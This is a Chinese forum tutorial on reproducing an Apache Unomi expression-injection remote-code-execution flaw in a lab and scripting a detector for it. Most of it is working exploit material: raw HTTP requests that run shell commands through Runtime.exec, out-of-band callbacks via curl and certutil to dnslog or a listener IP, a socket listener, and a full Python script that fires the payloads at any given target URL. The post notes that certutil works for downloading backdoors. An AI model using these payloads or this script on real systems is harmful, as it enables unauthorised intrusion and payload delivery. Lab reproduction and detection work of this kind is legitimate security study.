这里就不分析啦,这个项目在线的并不多,单纯拿来举个例子
想看分析可以戳这里:https://xz.aliyun.com/t/8565
环境搭建
vulhub直接docker-compose启动就好了
cd 到对应的unomi目录下
docker-compose up -d
查看一下docker-compose.yml查看一下端口
漏洞很好复现(这里OGNL或者MVEL表达式都可以注入)
POC如下:
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/successhhh\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
看到文件创建成功了,漏洞复现成功,response显示http 200 OK.但是并没有实际的回显。我们可以换其他命令看看
可以看到确实没有回显。
方法其实大家应该也都清楚,无非是两种方法,dnslog和起端口回连。
公网上可以用的DNSlog有很多,这里我们使用http://www.dnslog.cn/
当然有VPS自己搭当然也是可以的
我们构造一个命令访问的时候带着得到的dnslog子域名就行了
缺点:如果我们是在内网做测试,目标机器无法访问dnslog就无法通过这种方法测试了(当然你可以本地搭建dnslog(狗头))
拿到获取之后域名
xk4fm7.dnslog.cn
重新修改poc,我们可以使用curl hhhh.xk4fm7.dnslog.cn
POST /context.json HTTP/1.1
Host: 10.0.13.125:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 495
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"curl hhhh.xk4fm7.dnslog.cn\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
这里就证明命令执行成功了。你说ping和nslookup不可以吗?当然可以啦。
但是因为在写poc的时候我们遇到的可能是linux也可能是windows。ping命令在两个系统用法不太一样,不然就省事多了23333。linux ping不会停,可以加-c来跟数据包数量,windows是-n。然而-n在linux是不尝试做主机名检测,就会导致命令执行也无法停止下来。那么不如还是老老实实用curl和wget
这里我们列一下检测命令
linux:
curl 随机数.dnslog域名
wget 随机数.dnslog域名
windows:
certutil -urlcache -split -f http://随机数.dnslog域名(这里没有准备windows环境,大家可以自己搭建类似的RCE windows环境试试这个命令,很好用的一个下载后门的命令(误))
这个方法适用于各种场景,只要你有VPS那里都可用
使用python3自带的http.server服务(python2为SimpleHTTPServer)
直接cmd启动
python -m http.server 8001 #这里的端口随便定义
修改一下执行的命令curl http://10.0.13.174:8001/awda
这里的IP就是你启动服务的主机IP。
然后我们发送重新构造的POC
POST /context.json HTTP/1.1
Host: 10.0.13.125:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 500
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"curl http://10.0.13.174:8001/awda\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
可以看到我们收到了Unomi服务器发来的http请求,说明RCE执行成功了
下面再演示一下socket服务器的方法
注意!!!一定要关闭防火墙
这里贴一下python socket服务器的代码
(这里其实有个困扰我很久的问题,这段代码windows上按了ctrl+c之后一定要等下一个数据包发来才能退出,但是linux上是可以直接ctrl+c退出的,所以我建议尽量还是用linux运行)
# -*- coding: utf-8 -*-
import socket,sys,time
send_text = b'ok!!!'
def socket_bind(port):
host = '0.0.0.0' #定义监听IP,这里也可以为空,空就代表所有IP
port = int(port) #定义端口
sk = socket.socket() #创建socket对象
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #这里设置的socket选项可以开启地址复用,防止启动过程中端口冲突问题
sk.bind((host, port)) #开启监听端口
print('Wait for the client to %d.' % port)
sk.listen(5) #这里是只socket连接排队等待数量,由于我们是单线程,其实不必太在意这个
while True:
time.sleep(0.5) #这里等待一会儿时间等待socket接收到下面payload的发送后的结果
conn, address = sk.accept()
c_info = conn.recv(20480)
print("From:")
print(address)
print("------------------------------------------------------")
print("Recv Data:")
try:
print(c_info.decode('utf8'))
except Exception:
pass
print("======================================================")
if c_info:
conn.sendall(send_text)
conn.close()
if __name__ == '__main__':
try:
if sys.argv[1] == '-h':
print('''
IPS_tcp_server.exe [port]
example IPS_tcp_server.exe 8080
''')
sys.exit()
else:
pass
socket_bind(sys.argv[1])
except KeyboardInterrupt:
sys.exit()
1.编写一个简单的dnslog类,方便我们调用
class Dnslog():
def __init__(self):
self.getdnssub_url = 'http://www.dnslog.cn/getdomain.php'
self.getres_url = 'http://www.dnslog.cn/getrecords.php'
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X '
}
self.s = requests.session() #这里顶一个session,同一个session可以拿到之前获取到的子域名的日志啦
def req(self):#获取请求到的dnslog随机子域名
try:
req = self.s.get(url=self.getdnssub_url,headers=self.headers,allow_redirects=False,verify=False,timeout=30)
return req.text
except:
return None
def res(self):#获取dnslog随机子域名的dns查询日志
try:
res = self.s.get(url=self.getres_url,headers=self.headers,allow_redirects=False,verify=False,timeout=30)
return res.text
except:
return None
这个类内容很简单,就是获取www.dnglog.cn的子域名页面,拿到之后使用同一个session去访问dnslog日志即可
接下来我们写一下POC检测主程序,记得导入上面写的类,可以直接复制进去,也可以import方式导入,推荐import方式吧。方便以后扩展
#这里我们首先写一个用于监听端口的函数
def check_vul(ran_str,q,p): #启动socket TCP服务器
i = 0
while i < 10: #防止端口冲突,加上一个循环,用于报错之后可以换新的端口
try:
i += 1
host = '0.0.0.0'
lport = random.randint(62000,62999)
sk = socket.socket()
sk.settimeout(25)
# 开启地址复用
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((host, lport))
sk.listen(5)
p.put(lport)
break
except Exception as msg:
pass
try:
#print('wait for client port:' + str(lport))
time.sleep(10) #这里需要sleep一会儿不然速度太快conn中没有数据。
conn, address = sk.accept()
c_info = conn.recv(1024).decode('UTF-8')
http_uri_get = c_info.split('\n')[0]
if ran_str in http_uri_get:
sk.close()
q.put(http_uri_get) #由于我们这里的函数需要通过多线程来启动,因此我们要拿到这个函数的返回值需要通过queue队列来传递过来
else:
sk.close()
q.put(None)
except Exception:
q.put(None)
def payload(url,cmd): #为了介绍代码的重复利用,我们把发送payload这里写成一个函数,用来多次发送(针对不同的操作系统发送不同的payload)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X ',
'Content-Type': 'application/json'
}
json_data = {
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"{}\");".format(cmd)
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
requests.post(url=url, headers=headers, timeout=15, verify=False, allow_redirects=False, json=json_data) #verify=False用于忽略ssl证书验证
#这里是主函数
def exploit(url):
urllib3.disable_warnings() #这里禁用掉ssl报错信息,防止访问https页面的时候会报ssl证书错误,
try:
ran_str = ''.join(random.sample(string.ascii_letters, 8)) #增加随机字符串,这里随机字符串主要用于RCE检测中提高检测准确率。
payload_path = '/context.json'
new_url = url + payload_path
#提取url中的IP和PORT
urlparse_oj = parse.urlparse(url)
ip = urlparse_oj.hostname
port=urlparse_oj.port
try:
iprule_re = re.compile('(10\x2e\d{1,3}\x2e\d{1,3}\x2e\d{1,3})|(172\x2e(1[6-9]|2[0-9]|3[0-1])\x2e\d{1,3}\x2e\d{1,3})|(192\x2e168\x2e\d{1,3}\x2e\d{1,3})') #做一个简单的内网IP地址判断,如果是内网IP,就使用socket tcpserver方法检测,否则使用dnslog检测
iprule_res = iprule_re.search(ip).group(0)
if bool(iprule_res) == True: #如何内网也想用IP地址判断,把这里的True改为False就ok
# 启动回连线程
q = Queue() #这个队列是用来接收漏洞判断结果的队列
p = Queue() #这个队列是用来将socket随机端口传出来告诉给主程序的队列
p3_check = Thread(target=check_vul, args=(ran_str, q, p))
p3_check.start()
# 获取本地IP和端口
sock = socket.socket(socket.AF_INET) #新建一个socket队列用于判断自身IP地址,用于目标服务器回连命令的构造
sock.connect((ip, int(port)))
sock.settimeout(30)
lhost = sock.getsockname()[0] #得到本地IP地址
lport = p.get() #通过p队列拿到socket服务器的随机端口
cmd_list = ['certutil -urlcache -split -f http://{}:{}/{}'.format(lhost, lport, ran_str),
'curl http://{}:{}/{}'.format(lhost, lport, ran_str)
] #构造windows和linux的两种命令执行检测payload
for cmd in cmd_list:
payload(new_url, cmd) # 将newurl和构造的cmd命令传入payload函数,用于发送payload包。这里我们直接连续发送windows和linux两种payload包。只要收到对应的回应即可说明漏洞存在
res = q.get()
if ran_str in res: #这里针对生成的随机字符串和实际socket服务器拿到的随机字符串进行对比,一致即表示漏洞存在。(其实这个判断再上面check_vul函数已经判断过了,这里并没有特别一定要用的意义啦23333)
return new_url
else:
return None
except:
pass
else: #如果并非内网IP,我们执行dnslog的方式来判断
dnslog_object = dnslog.Dnslog() #创建dnslog对象
get_dnssub = dnslog_object.req() #获取dnslog的随机子域名
cmd_list = ['certutil -urlcache -split -f http://{}.{}'.format(ran_str,get_dnssub),
'curl http://{}.{}'.format(ran_str,get_dnssub)
] #一样的构造相应的RCE payload
for cmd in cmd_list:
payload(new_url, cmd) # 与上面一样,发送payload数据包两遍
time.sleep(10) #这里通过一个10s的等待,等待一下dnslog接收日志,时间可以根据实际网络情况来调整
get_dnslog_res = dnslog_object.res()
if ran_str in get_dnslog_res: #如果随机字符串在dnslog的日志中,就说明漏洞存在
return new_url #返回漏洞url
else:
return None
except Exception as e:
print(e)
return None
print(exploit('http://10.0.13.125:8181')) #执行测试
下面分别演示一下两种检测的结果
1.socket服务器回连
2.dnslog
完整代码放附件里啦,大家可以自行修改为目标主机的url
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
veek | 200.00 | 0 | 2021-01-29 15:03:05 | 代码思路清晰~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
柠檬
发表于 2021-2-1
666
评论列表
加载数据中...
cccng
发表于 2021-8-13
666
评论列表
加载数据中...
小箭
发表于 2022-5-31
666
评论列表
加载数据中...